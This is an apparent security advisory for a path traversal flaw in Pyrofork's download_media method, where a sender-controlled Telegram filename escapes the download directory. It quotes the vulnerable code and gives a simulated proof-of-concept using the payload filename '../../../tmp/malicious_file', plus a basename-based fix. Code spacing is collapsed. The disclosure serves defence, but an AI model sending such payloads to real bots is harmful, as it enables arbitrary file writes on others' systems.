Summary

The download_media method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., ../) or absolute paths in the filename.

Details

When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. This attribute originates from Telegram's DocumentAttributeFilename and is controlled by the message sender.

Vulnerable Code Path

Step 1: In pyrogram/methods/messages/download_media.py (lines 145-151):

media_file_name=getattr(media, "file_name", "") # Value from Telegram messagedirectory, file_name=os.path.split(file_name) # Split user's path parameterfile_name=file_nameormedia_file_nameor""# Falls back to media_file_name if empty

When a user calls download_media(message) or download_media(message, "downloads/"), the os.path.split() returns an empty filename, causing the code to use media_file_name which is attacker-controlled.

Step 2: In pyrogram/client.py (line 1125):

temp_file_path=os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) +".temp"

The os.path.join() function does not prevent path traversal. When file_name contains ../ sequences or is an absolute path, it allows writing outside the intended download directory.

Why the existing isabs check is insufficient

The check at line 153 in download_media.py:

ifnotos.path.isabs(file_name): directory=self.PARENT_DIR/ (directoryorDEFAULT_DOWNLOAD_DIR)

This check only handles absolute paths by skipping the directory prefix, but:

1. For relative paths with ../, os.path.isabs() returns False, so the check doesn't catch it
2. For absolute paths, os.path.join() in the next step will still use the absolute path directly

PoC

The following Python script demonstrates the vulnerability by simulating the exact code logic from download_media.py and client.py:

#!/usr/bin/env python3"""Path Traversal PoC for Pyrofork download_mediaDemonstrates CWE-22 vulnerability in filename handling"""importosimportshutilimporttempfilefrompathlibimportPathfromdataclassesimportdataclass@dataclassclassMockDocument: """Simulates a Telegram Document with attacker-controlled file_name"""file_id: strfile_name: str# Attacker-controlled!@dataclassclassMockMessage: """Simulates a Telegram Message"""document: MockDocumentDEFAULT_DOWNLOAD_DIR="downloads/"defvulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR): """ Simulates the vulnerable logic from: - pyrogram/methods/messages/download_media.py (lines 145-154) - pyrogram/client.py (line 1125) """media=message.documentmedia_file_name=getattr(media, "file_name", "") # Line 150-151: Split and fallbackdirectory, file_name=os.path.split(file_name) file_name=file_nameormedia_file_nameor""# Line 153-154: isabs check (insufficient!)ifnotos.path.isabs(file_name): directory=parent_dir/ (directoryorDEFAULT_DOWNLOAD_DIR) ifnotfile_name: file_name="generated_file.bin"# Line 1125 in client.py: Path constructionimportretemp_file_path=os.path.abspath( re.sub("\\\\", "/", os.path.join(str(directory), file_name)) ) +".temp"returntemp_file_pathdefrun_poc(): print("="*60) print("PYROFORK PATH TRAVERSAL PoC") print("="*60) withtempfile.TemporaryDirectory() astemp_base: parent_dir=Path(temp_base) expected_dir=str(parent_dir/"downloads") print(f"\n[*] Bot working directory: {parent_dir}") print(f"[*] Expected download dir: {expected_dir}") # Attack: Path traversal with ../print("\n"+"-"*60) print("TEST: Path Traversal Attack") print("-"*60) malicious_msg=MockMessage( document=MockDocument( file_id="test_id", file_name="../../../tmp/malicious_file" ) ) result_path=vulnerable_download_media( parent_dir=parent_dir, message=malicious_msg, file_name="downloads/" ) # Remove .temp suffix for final pathfinal_path=os.path.splitext(result_path)[0] print(f"[*] Malicious filename: ../../../tmp/malicious_file") print(f"[*] Resulting path: {final_path}") ifnotfinal_path.startswith(expected_dir): print(f"\n[!] VULNERABILITY CONFIRMED") print(f"[!] File path escapes intended directory!") print(f"[!] Expected: {expected_dir}/...") print(f"[!] Actual: {final_path}") else: print("[*] Path is within expected directory") if__name__=="__main__": run_poc()

How to Run

Save the above script and run:

python3 poc_script.py

Expected Output

============================================================ PYROFORK PATH TRAVERSAL PoC ============================================================ [*] Bot working directory: /tmp/tmpXXXXXX [*] Expected download dir: /tmp/tmpXXXXXX/downloads ------------------------------------------------------------ TEST: Path Traversal Attack ------------------------------------------------------------ [*] Malicious filename: ../../../tmp/malicious_file [*] Resulting path: /tmp/malicious_file [!] VULNERABILITY CONFIRMED [!] File path escapes intended directory! [!] Expected: /tmp/tmpXXXXXX/downloads/... [!] Actual: /tmp/malicious_file 

Why This Proves the Vulnerability

1. The PoC uses the exact same logic as the vulnerable code in download_media.py and client.py
2. The malicious filename ../../../tmp/malicious_file causes the path to escape from /tmp/tmpXXX/downloads/ to /tmp/malicious_file
3. Python's os.path.join() and os.path.abspath() behavior is deterministic - this will work the same way in the real library

Impact

Who is affected?

• Telegram bots or user accounts using Pyrofork that download media with default parameters
• The common usage pattern await client.download_media(message) is affected

Conditions required for exploitation

1. Attacker must be able to send messages to the victim's bot/account
2. Victim must download the media without specifying a custom filename
3. The bot process must have write permissions to the target location

Potential consequences

• Arbitrary file write to locations writable by the bot process
• Overwriting existing files could cause denial of service or configuration issues
• In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)

Recommended Fix

Add filename sanitization in download_media.py after line 151:

file_name=file_nameormedia_file_nameor""# Add this sanitization block:iffile_name: # Remove any path components, keeping only the basenamefile_name=os.path.basename(file_name) # Remove null bytes which could cause issuesfile_name=file_name.replace('\x00', '') # Handle edge casesifnotfile_nameorfile_namein ('.', '..'): file_name=""

This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.

Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.

References

• GHSA-6h2f-wjhf-4wjx
• Mayuri-Chan/pyrofork@2f2d515
• https://nvd.nist.gov/vuln/detail/CVE-2025-67720